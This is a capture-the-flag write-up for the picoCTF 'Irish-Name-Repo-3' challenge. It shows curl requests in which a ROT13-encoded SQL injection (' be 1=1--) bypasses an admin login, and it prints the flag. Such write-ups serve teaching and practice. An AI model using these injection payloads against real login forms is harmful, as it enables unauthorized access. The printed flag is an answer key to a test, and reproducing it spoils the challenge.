SWE BooksTwitter 🐦Github 🐙Buy me a ☕

Irish-Name-Repo-3

Point: 400

Category

Web Exploitation

Question

There is a secure website running at https://2019shell1.picoctf.com/problem/12271/ (link) or http://2019shell1.picoctf.com:12271. Try to see if you can login as admin!

Hint

Seems like the password is encrypted.

Solution

I tried to use solution like in Irish-Name-Repo 1 and Irish-Name-Repo 2 but It wasn't working.

The website offered an admin login page

<!doctype html>
<html>
<head>
    <title>Login</title>
    <link rel="stylesheet" type="text/css" href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
</head>
<body>
<div class="container">
    <div class="row">
        <div class="col-md-12">
            <div class="panel panel-primary" style="margin-top:50px">
                <div class="panel-heading">
                    <h3 class="panel-title">Admin Log In</h3>
                </div>
                <div class="panel-body">
                    <form action="login.php" method="POST">
                        <fieldset>
                            <div class="form-group">

                                <label for="password">Password:</label>
                                <div class="controls">
                                    <input type="password" id="password" name="password" class="form-control">
                                </div>
                            </div>
                            <input type="hidden" name="debug" value="0">

                            <div class="form-actions">
                                <input type="submit" value="Login" class="btn btn-primary">
                            </div>
                        </fieldset>
                    </form>
                </div>
            </div>
        </div>
    </div>
</div>
</body>
</html>

Then I used the debug interface to test.

At first, I tried with password=abc with debug=1. Then I got some response with password=nop.

root@kali: curl "https://2019shell1.picoctf.com/problem/12271/login.php" --data "password=abc & debug=1"
<pre>password: abc
SQL query: SELECT * FROM admin where password = 'nop '
</pre><h1>Login failed.</h1>

As the hint, I knew password is encrypted. This might be a substitution cipher. So, I decided to try a simple injection. I changed parameter of password password=' OR 1=1--, then I got SELECT * FROM admin where password = '' be 1=1 '

root@kali: curl "https://2019shell1.picoctf.com/problem/12271/login.php" --data "password=' or 1=1--' & debug=1"
<pre>password: ' or 1=1
SQL query: SELECT * FROM admin where password = '' be 1=1 '
</pre>

Finally, I changed password=' OR 1=1-- to password=' be 1=1--. BOOM!!! => I got the flag

root@kali:  curl "https://2019shell1.picoctf.com/problem/12271/login.php" --data "password=' be 1=1-- & debug=1"
<pre>password: ' be 1=1--
SQL query: SELECT * FROM admin where password = '' or 1=1-- '
</pre><h1>Logged in!</h1><p>Your flag is: picoCTF{3v3n_m0r3_SQL_ef7eac2f}</p>

Flag

picoCTF{3v3n_m0r3_SQL_ef7eac2f}

PreviousIrish-Name-Repo1NextInsp3ct0r

Last updated